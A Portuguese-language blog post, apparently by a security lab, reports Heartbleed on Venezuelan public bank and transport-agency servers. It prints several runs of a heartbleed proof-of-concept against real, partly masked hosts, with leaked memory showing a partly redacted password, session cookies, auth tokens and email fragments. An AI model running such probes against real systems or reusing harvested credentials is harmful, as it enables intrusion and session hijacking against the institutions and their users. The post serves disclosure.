Na semana passada (veja o artigo aqui) o Lab encontrou evidências de que a infraestrutura do Banco Venezolano de Crédito possuía a vulnerabilidade Heartbleed (CVE-2014-0160) e estava sendo utilizada por elementos maliciosos para mineração de criptomoeda Monero.
A existência de uma vulnerabilidade antiga como o HeartBleed é inacreditável, sobretudo numa instituição financeira, o que demonstra um nível de segurança lamentável.
Esse achado, somado às recentes operações hacktivistas desferidas recentemente contra a Venezuela, levou o Lab a elaborar um diagnostico mais completo sobre o nível de maturidade em relação à segurança cibernética da Venezuela. Considerando que o HeartBleed é uma vulnerabilidade antiga e muito grave, o estudo utilizou essa vulnerabilidade como plataforma de análise.
A insegurança cibernética parece ser endêmico na terra de los hermanos del norte. Sem muito esforço, foi possível encontrar algumas centenas de servidores com essa vulnerabilidade, incluindo os setores financeiro, de P&D e de Transportes.
Um dos casos foi no Bandes (Banco de Desarrollo de Económico y Social de Venezuela). O Bandes é um Banco Público de fomento do desenvolvimento. Seria o equivalente ao BNDES no Brasil.
A resposta do teste da prova de conceito da vulnerabilidade confirma a presença do Heartbleed.
$ ./heartbleed xxxxxxx.bandes.gob.ve
...................................#....... Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: https://www.google.com/ Connection: keep-alive Cookie: ZM_TEST=true Upgrade-Insecure-Requests: 1 . .... ......]..live Cookie: ZM_TEST=true Upgrade-Insecure-Requests: 1 loginOp=login&username=XXXincXX&password=XrMaXXXo20XX*&client=preferred..`/.^..D).....Y6535632d393533372d3364646161313936303664343b6578703d31333a313535313533363634313537313b76763d313a373b747970653d363a7a696d6272613b; JSESSIONID=1b6ub3g6r81gg1hxs806oz0jgv {"Header":{"context":{"_jsns":"urn:zimbra","userAgent":{"name":"ZimbraWebClient - GC72 (Win)","version":"8.0.4_GA_5737"},"session":{"_content":1630293,"id":1630293},"notify":{"seq":38},"account":{"_content":"[email protected]","by":"name"}}},"Body":{"MsgActionRequest":{"_jsns":"urn:zimbraMail","action": [...]
O servidor com a vulnerabilidade heartbleed retorna pedaços de até 64k de memória do servidor. Geralmente, a área de memória retornada é do início de uma requisição do protocolo HTTP. Por isso, geralmente são contemplados os headers e o início do conteúdo enviado ou recebido. Na resposta acima, o payload de retorno contempla uma área de memória com as credenciais de autenticação (login e senha) de um usuário da aplicação.
Nesse caso, o mero retorno da memória do servidor já foi suficiente para comprometer a segurança da aplicação, visto que a credencial de autenticação foi exposta.
Ao rodar novamente a prova de conceito, outra resposta é retornada:
$ ./heartbleed xxxxxxx.bandes.gob.ve
Safari/537.36 Content-Type: application/soap+xml; charset=UTF-8 Accept: */* Referer: https://XXXXXXXX.bandes.gob.ve/ Accept-Encoding: gzip, deflate, br Accept-Language: es-419,es;q=0.9,en;q=0.8 Cookie: ZM_TEST=true; ZM_AUTH_TOKEN=0_XXXXXXXXXX45ec6f318c6ba826bb94b6a3c60c18_XXXXXXXXXXXXXX3066652d646433342d346535632d393533372d3364646161313936303664343b6578703d31333a313535313533363634313537313b76763d313a373b747970653d363a7a696d6272613b; JSESSIONID=XXXXXXXXXXXg1hxs806oz0jgv <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - GC72 (Win)" version="8.0.4_GA_5737"/><session id="1630293"/><notify seq="38"/><account by="name">[email protected]</account><format type="js"/></context></soap:Header><soap:Body><NoOpRequest xmlns="urn:zimbraMail"/></soap:Body></soap:Envelope>z......[........t\.._.0\[email protected]`B...N7..(.....S=6S.h.....S.1&.X^s.E<.d....#*n..3..f ...2..Y...s="">sendOnBehalfOfDistList</right></DiscoverRightsRequest></BatchRequest></soap:Body></soap:Envelope>...b....:.L12.....WP.l: +58 212 5058725 ------WebKitFormBoundaryQm8hLkoEJPBTBAFz Content-Disposition: form-data; name="bodyText" ------WebKitFormBoundaryQm8hLkoEJPBTBAFz Content-Disposition: form-data; name="sendUID" [...]
É possível observar que o cookie de sessão foi exposto. Nesse caso, ainda que a credencial de autenticação não tenha sido exibida, o sequestro da sessão (session hijacking) é possível devido à exposição do cookie de autenticação. Em termos práticos, o nível de comprometimento da aplicação é o mesmo nos dois casos, pois permite o acesso completo ao sistema, como um usuário legítimo da aplicação.
A mesma vulnerabilidade é encontrada em sistemas do Instituto Nacional de Transporte Terrestre (www.intt.gob.ve).
$ ./heartbleed xxxxxxx.intt.gob.ve
.......... ...................................#.......ari/537.36 Edge/15.15063 Accept: text/css,*/*;q=0.1 Referer: https://xxxxxxx.intt.gob.ve/ Accept-Encoding: gzip, deflate, br Accept-Language: en,en-US;q=0.9 Cookie: ZM_TEST=true Y..d"*3..jtI7.....M.....:..GJ.......^...$......M.D.Y..d"*3..jtI7...........................................33_XXXXXXXXXXXXXX52d633235342d346461622d623939342d3636613537353638386561343b6578703d31333a313535323437353335363134333b76763d313a313b747970653d363a7a696d6272613b; JSESSIONID=XXXXXXXXXXXXXXfov17g33k1xmsz3i <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF65 (Win)" version="8.0.0_GA_5434"/><session xmlns="" id="143191"/><notify xmlns="" seq="124"/><account xmlns="" by="name">[email protected]</account><format xmlns="" type="js"/></context></soap:Header><soap:Body><NoOpRequest xmlns="urn:zimbraMail"/></soap:Body></soap:Envelope>i.H^....SVI...j...o.%..{.....Gp.......H.m!an..........~V/O.M..H-...^.n.. .dExp":1}}}..|;)U.}.u.....|e.X............ight></DiscoverRightsRequest></BatchRequest></soap:Body></soap:Envelope>...`...+. #...Z.ontent-Disposition: form-data; name="subject" Re: Paso a paso para xxxxxx los xxxxxxx 5 y 15 -----------------------------261531429532168 Content-Disposition: form-data; name="priority" -----------------------------261531429532168 Content-Disposition: form-data; name="body" ----- Mensaje original ----- De: xxxxxx xxxxxxxxx <[email protected]> Para: xxxxxx xxxxxx xxxxxx de xxxxxxxx <[email protected]> Enviado: Tue, 12 Feb 2019 11:38:32 -0400 (BOT) Asunto: Re: Paso a paso para xxxxx los xxxxxxx 5 y 15 Buenos dias, Dame un numero de telefono para comunicarme con usted. Gracias.
Outro caso alarmante é a presença do heartbleed em salas de videoconferência de instituição de Pesquisa e Desenvolvimento da Venezuela.
Conclusão
A análise quantitativa das vulnerabilidades encontradas já é surpreendente. O problema se torna mais crítico ao analisar qualitativamente as entidades venezuelanas afetadas.
A existência de uma vulnerabilidade antiga como o HeartBleed no mercado financeiro e em instituições críticas da Venezuela, como transportes e P&D, demonstra um nível de segurança lamentável.
Além disso, revela a ausência de políticas e estratégias nacionais para Segurança Cibernética, bem como a inexistência de entidade civil ou militar com responsabilidade nacional no assunto.